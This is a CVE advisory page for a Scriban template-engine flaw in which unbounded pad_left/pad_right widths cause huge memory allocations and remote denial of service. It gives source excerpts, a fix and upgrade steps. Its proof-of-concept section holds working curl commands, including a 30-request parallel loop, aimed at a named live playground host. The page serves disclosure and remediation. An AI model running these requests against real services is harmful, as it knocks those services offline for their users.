CVE-2026-74788 — Vulnerability in Scriban — CVE Details
Scriban: Uncontrolled Memory Allocation via string.pad_left/pad_right Allows Remote Denial of Service
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.49%). Schedule for your next planned update.
Does your project use an affected Scriban version?
Paste your packages.lock.json to check it for CVE-2026-74788 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The built-in string.pad_left and string.pad_right template functions in Scriban perform no validation on the width parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via OutOfMemoryException.
Details
StringFunctions.PadLeft and StringFunctions.PadRight (src/Scriban/Functions/StringFunctions.cs:1181-1203) directly delegate to .NET's String.PadLeft(int) / String.PadRight(int) with no bounds checking:
// src/Scriban/Functions/StringFunctions.cs:1181-1183
public static string PadLeft(string text, int width)
{
return (text ?? string.Empty).PadLeft(width);
}
// src/Scriban/Functions/StringFunctions.cs:1200-1202
public static string PadRight(string text, int width)
{
return (text ?? string.Empty).PadRight(width);
}
The TemplateContext.LimitToString property (default 1MB, set at TemplateContext.cs:147) does not prevent the allocation. This limit is only checked during ObjectToString() conversion (TemplateContext.Helpers.cs:101-103), which runs after the string has been fully allocated by PadLeft/PadRight. The dangerous allocation is the return value of a built-in function — it occurs before output rendering.
The Scriban.AppService playground (src/Scriban.AppService/Program.cs:63-140) exposes POST /api/render with:
- No authentication
- Template size limit of 1KB (line 71) — the payload fits in 39 bytes
- A 2-second timeout via
CancellationTokenSource(line 118) — but this only cancels theawait Task.Run(...), not the runningtemplate.Render()call (line 122). The BCLPadLeftallocation completes atomically before the cancellation can take effect. - Rate limiting of 30 requests/minute (line 25)
PoC
Single request to crash or degrade the AppService:
curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}'
This 39-byte template causes PadLeft(500000000) to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding).
Expected result: The service returns an error or truncated output safely.
Actual result: The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws OutOfMemoryException crashing the process.
Sustained attack with rate limiting:
# 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure
for i in $(seq 1 30); do
curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' &
done
wait
The string.pad_right variant works identically:
curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \u0027\u0027 | string.pad_right 500000000 }}"}'
Impact
- Remote denial of service against any application that renders untrusted Scriban templates, including the official Scriban playground at
scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net. - An unauthenticated attacker can crash the hosting process via
OutOfMemoryExceptionwith a single HTTP request. - With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery.
- The existing
LimitToStringand timeout mitigations do not prevent the intermediate memory allocation.
Recommended Fix
Add width validation in StringFunctions.PadLeft and StringFunctions.PadRight to cap the maximum allocation. A reasonable upper bound is the LimitToString value from the TemplateContext, or a fixed maximum if the context is not available:
// src/Scriban/Functions/StringFunctions.cs
// Option 1: Fixed reasonable maximum (simplest fix)
public static string PadLeft(string text, int width)
{
if (width < 0) width = 0;
if (width > 1_048_576) width = 1_048_576; // 1MB cap
return (text ?? string.Empty).PadLeft(width);
}
public static string PadRight(string text, int width)
{
if (width < 0) width = 0;
if (width > 1_048_576) width = 1_048_576; // 1MB cap
return (text ?? string.Empty).PadRight(width);
}
Alternatively, make the functions context-aware and use LimitToString as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.
Advisory Timeline
- First published March 24, 2026 (247 days ago).
- Last revised August 17, 2026 — 145 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
dotnet add package Scriban --version 7.0.0
dotnet add package Scriban.Signed --version 7.0.0
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (2)
Affects 1 ecosystem: NuGet (2).
| Package | Fixed In |
|---|---|
| Scriban NuGet · Affected: 0.1.0, 0.10.0, 0.11.0, 0.12.0 (+119 more) | 7.0.0 |
| Scriban.Signed NuGet · Affected: 0.10.0, 0.11.0, 0.12.0, 0.12.1 (+107 more) | 7.0.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-770Allocation of Resources Without LimitsMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
References
Frequently Asked Questions
- What is CVE-2026-74788?
- Scriban: Uncontrolled Memory Allocation via string.pad_left/pad_right Allows Remote Denial of Service. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
- How do I check if my project is affected by CVE-2026-74788?
- CVE-2026-74788 affects Scriban and Scriban.Signed. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-74788 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 34.7% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-74790CRITICAL
Scriban: Sandbox escape due to TypedObjectAccessorcache bypassing MemberFilter after TemplateContext reuse
- CVE-2026-74784HIGH
Scriban: array.insert_at index parameter DoS bypasses LoopLimit and LimitToString
- CVE-2026-74789HIGH
Scriban: Built-in operations bypass LoopLimit and delay cancellation, enabling Denial of Service
- CVE-2026-74794HIGH
Scriban has an Infinite Recursion during Object Rendering Leads to Stack Overflow and Process Crash (Denial of Service)
- CVE-2026-74792HIGH
Scriban has a Stack Overflow via Nested Array Initializers That Bypass the ExpressionDepthLimit Fix
- CVE-2026-74783MEDIUM
Scriban: ExpressionDepthLimit guard is non-enforcing — parser-recursion DoS in 6.6.0–7.2.0 (incomplete fix for GHSA-wgh7-7m3c-fx25 / GHSA-p6q4-fgr8-vx4p)
- CVE-2026-74786MEDIUM
Scriban: Denial of Service via Unbounded Cumulative Template Output Bypassing LimitToString
- CVE-2026-73062MEDIUM
Scriban: array * int (ScriptArray<T>.TryEvaluate) bypasses LoopLimit — incomplete fix for GHSA-c875-h985-hvrc, missed sibling of GHSA-24c8-4792-22hx